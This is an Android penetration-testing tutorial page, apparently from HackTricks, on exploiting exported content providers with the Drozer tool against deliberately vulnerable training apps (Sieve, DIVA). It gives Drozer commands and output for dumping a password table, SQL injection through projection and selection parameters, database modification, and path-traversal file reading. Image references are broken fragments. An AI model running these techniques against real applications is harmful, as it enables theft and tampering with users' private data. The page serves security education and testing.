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https://github.com/carlospolop/hacktricks
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196 lines
7.4 KiB
Markdown
196 lines
7.4 KiB
Markdown
# Exploiting Content Providers
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## Intro
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A content provider component **supplies data from one application to others** on request. Such requests are handled by the methods of the ContentResolver class. A content provider can use different ways to store its data and the data can be **stored** in a **database**, in **files**, or even over a **network**.
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It has to be declared inside the _Manifest.xml_ file. Example:
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```markup
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<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
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<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
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</provider>
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```
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In this case, it's necessary the permission `READ_KEYS` to access `content://com.mwr.example.sieve.DBContentProvider/Keys`\
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(_Also, notice that in the next section we are going to access `/Keys/` which isn't protected, that's because the developer got confused and protected `/Keys` but declared `/Keys/`_)
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**Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).**
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## Get info from **exposed content providers**
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```
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dz> run app.provider.info -a com.mwr.example.sieve
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Package: com.mwr.example.sieve
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Authority: com.mwr.example.sieve.DBContentProvider
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Read Permission: null
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Write Permission: null
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Content Provider: com.mwr.example.sieve.DBContentProvider
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Multiprocess Allowed: True
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Grant Uri Permissions: False
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Path Permissions:
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Path: /Keys
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Type: PATTERN_LITERAL
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Read Permission: com.mwr.example.sieve.READ_KEYS
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Write Permission: com.mwr.example.sieve.WRITE_KEYS
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Authority: com.mwr.example.sieve.FileBackupProvider
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Read Permission: null
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Write Permission: null
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Content Provider: com.mwr.example.sieve.FileBackupProvider
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Multiprocess Allowed: True
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Grant Uri Permissions: False
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```
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We can **reconstruct** part of the content **URIs** to access the **DBContentProvider**, because we know that they must begin with “_content://_” and the information obtained by Drozer inside Path: _/Keys_.
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Drozer can **guess and try several URIs**:
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```
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dz> run scanner.provider.finduris -a com.mwr.example.sieve
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Scanning com.mwr.example.sieve...
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Unable to Query content://com.mwr.example.sieve.DBContentProvider/
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...
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Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
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Accessible content URIs:
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content://com.mwr.example.sieve.DBContentProvider/Keys/
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content://com.mwr.example.sieve.DBContentProvider/Passwords
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content://com.mwr.example.sieve.DBContentProvider/Passwords/
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```
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You should also check the **ContentProvider code** to search for queries:
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 (1) (1) (1).png>)
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Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method:
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.png>)
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The query will be like: `content://name.of.package.class/declared_name`
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## **Database-backed Content Providers**
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Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information.\
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Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms.
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When checking the code of the Content Provider **look** also for **functions** named like: _query, insert, update and delete_:
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.png>)
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 (1) (1) (1) (1) (1) (1) (1).png>)
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Because you will be able to call them
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### Query content
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```
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dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
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_id: 1
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service: Email
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username: incognitoguy50
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password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
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-
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email: incognitoguy50@gmail.com
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```
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### Insert content
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Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB:
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.png>)
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.png>)
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_Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_
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### Update content
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Knowing the name of the columns you could also **modify the entries**:
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.png>)
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### Delete content
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.png>)
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### **SQL Injection**
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It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
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When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_:
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.png>)
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You can try to **abuse** this **parameters** to test for **SQL injections**:
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```
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dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
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unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
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```
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```
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dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
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FROM SQLITE_MASTER WHERE type='table';--"
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| type | name | tbl_name | rootpage | sql |
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| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
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| table | Passwords | Passwords | 4 | CREATE TABLE ... |
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```
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#### Automatic SQLInjection discovery by Drozer
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```
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dz> run scanner.provider.injection -a com.mwr.example.sieve
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Scanning com.mwr.example.sieve...
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Injection in Projection:
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content://com.mwr.example.sieve.DBContentProvider/Keys/
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content://com.mwr.example.sieve.DBContentProvider/Passwords
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content://com.mwr.example.sieve.DBContentProvider/Passwords/
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Injection in Selection:
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content://com.mwr.example.sieve.DBContentProvider/Keys/
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content://com.mwr.example.sieve.DBContentProvider/Passwords
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content://com.mwr.example.sieve.DBContentProvider/Passwords/
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dz> run scanner.provider.sqltables -a jakhar.aseem.diva
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Scanning jakhar.aseem.diva...
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Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
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android_metadata
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notes
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sqlite_sequence
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```
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## **File System-backed Content Providers**
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Content providers could be also used to **access files:**
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.png>)
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### Read **file**
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You can read files from the Content Provider
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```
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dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
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127.0.0.1 localhost
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```
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### **Path Traversal**
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If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks).
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```
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dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
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127.0.0.1 localhost
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```
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#### **Automatic Path Traversal discovery by Drozer**
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```
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dz> run scanner.provider.traversal -a com.mwr.example.sieve
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Scanning com.mwr.example.sieve...
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Vulnerable Providers:
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content://com.mwr.example.sieve.FileBackupProvider/
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content://com.mwr.example.sieve.FileBackupProvider
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```
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## References
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* [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm)
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* [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
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